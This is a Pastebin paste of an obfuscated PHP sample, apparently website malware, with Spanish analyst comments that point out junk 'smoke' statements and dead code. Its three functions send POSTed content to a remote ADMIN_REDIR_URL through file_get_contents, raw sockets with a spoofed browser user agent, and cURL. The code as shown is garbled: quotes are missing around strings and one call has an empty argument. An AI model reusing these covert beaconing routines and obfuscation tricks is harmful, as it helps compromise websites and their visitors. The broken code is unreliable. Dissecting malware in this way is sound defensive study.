Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. // Caso de que el acceso remoto a ficheros este habilitado
  2. function l__1($_5) {
  3.     $_14=stream_context_create(array(http=> array(method=> POST,header=> Content-Type: application/x-www-form-urlencoded . ,content=> $_5,),));
  4.  
  5.     // round(1742) - round(1742) + round(2020) - round(2020) == 0 ; de nuevo la misma historia
  6.     // parece que esta linea solo sirve para confundir
  7.     (round(0+580.66666666667+580.66666666667+580.66666666667)-round(0+348.4+348.4+348.4+348.4+348.4)+round(0+673.33333333333+673.33333333333+673.33333333333)-round(0+404+404+404+404+404))?array_diff_uassoc($_4,$_7,$_2):mt_rand(round(0+435.5+435.5+435.5+435.5),round(0+4680));
  8.    
  9.     // transmite el fichero
  10.     return file_get_contents(ADMIN_REDIR_URL,false,$_14);
  11.    
  12.     // las siguientes instrucciones tambien parece que estan para confundir.
  13.     // Lo primero, no podemos llegar a este punto ya que return acaba de
  14.     // ser llamado en la instruccion anterior y lo segundo el IF siempre es
  15.     // verdadero, por lo que no hace nada y por sonsiguiente el ELSE nunca
  16.     // tomado
  17.     if ((round(0+80.5+80.5)+round(0+2458)) > round(0+40.25+40.25+40.25+40.25) || strtr($_15,$_16));
  18.    
  19.     else{
  20.         curl_close($_1);
  21.     }
  22. }
  23.  
  24. // Usando sockets
  25. // $_11 - identifcador (handler) del socket
  26. // $_17 - Host
  27. // $_15 - Path
  28. // $_5 - Contenido que le mandamos
  29. function l__2($_11,$_17,$_15,$_5) {
  30.  
  31.     fputs($_11,POST  .$_15 .  HTTP/1.0
  32.     ."Host: $_17\r\n"
  33.     .User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
  34.     .Accept: */*
  35.     .Accept-Language: en-us,en;q=0.5
  36.     .Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  37.     .Content-Length:  .strlen($_5) .
  38.     ."Content-Type: application/x-www-form-urlencoded\r\n\r\n
  39.     $_5");
  40.  
  41.     $_8='';
  42.  
  43.     // De nuevo mas humo. El while se convierte en un while(0)
  44.     // next please!
  45.     while(round(0+3843)-round(0+960.75+960.75+960.75+960.75))
  46.         substr_count($_14);
  47.  
  48.     // leemos del socket y almacenamos el contenido en $_8
  49.     while($_16=fread($_11,round(0+819.2+819.2+819.2+819.2+819.2))) {
  50.         $_8 .= $_16;
  51.  
  52.         // mas humo
  53.         if(round(0+2115.3333333333+2115.3333333333+2115.3333333333)<mt_rand(round(0+365+365+365+365+365),round(0+1129+1129+1129+1129)))
  54.             strnatcmp($_11);
  55.     }
  56.    
  57.     // cerramos el socket
  58.     fclose($_11);
  59.  
  60.  
  61.     $_18=strpos($_8,);
  62.  
  63.     $_8=substr($_8,$_18+round(0+1+1+1+1));
  64.     return $_8;
  65.  
  66.     // de nuevo mas humo. De hecho nunca llegaremos aqui, porque
  67.     // acabamos de ejecutar el return
  68.     while(round(0+2376+2376)-round(0+950.4+950.4+950.4+950.4+950.4))
  69.         sha1($_1,$_13,$_8);
  70. }
  71.  
  72. function l__3($_5) {
  73.     $_19=curl_init(ADMIN_REDIR_URL);
  74.  
  75.     // Para sacar los valores
  76.     // $arr = get_defined_constants(true);
  77.     // var_dump($arr['curl']);
  78.  
  79.     // HEADER
  80.     curl_setopt($_19,42,FALSE);
  81.  
  82.     // basura
  83.     $_20='vsqw';
  84.  
  85.     // RETURNTRANSFER
  86.     curl_setopt($_19,19913,TRUE);
  87.  
  88.     // TIMEOUT == 15
  89.     curl_setopt($_19,13,round(0+3.75+3.75+3.75+3.75));
  90.  
  91.     // humo
  92.     if((round(0+333.2+333.2+333.2+333.2+333.2)+round(0+875.8+875.8+875.8+875.8+875.8))>round(0+833+833)|| sha1($_21,$_17,$_1,$_13,$_14));
  93.  
  94.     else{
  95.         mssql_result($_19);
  96.     }
  97.  
  98.     // POSTFIELDS
  99.     curl_setopt($_19,10015,$_5);
  100.  
  101.     // humo
  102.     (round(0+302.25+302.25+302.25+302.25)-round(0+1209)+round(0+896.5+896.5+896.5+896.5)-round(0+1793+1793))?strtotime($_4,$_10):mt_rand(round(0+1209),round(0+4765));
  103.    
  104.     $_21=curl_exec($_19);
  105.     curl_close($_19);
  106.  
  107.     // mas basura
  108.     $_22=jqxe;
  109.  
  110.     return $_21;
  111. }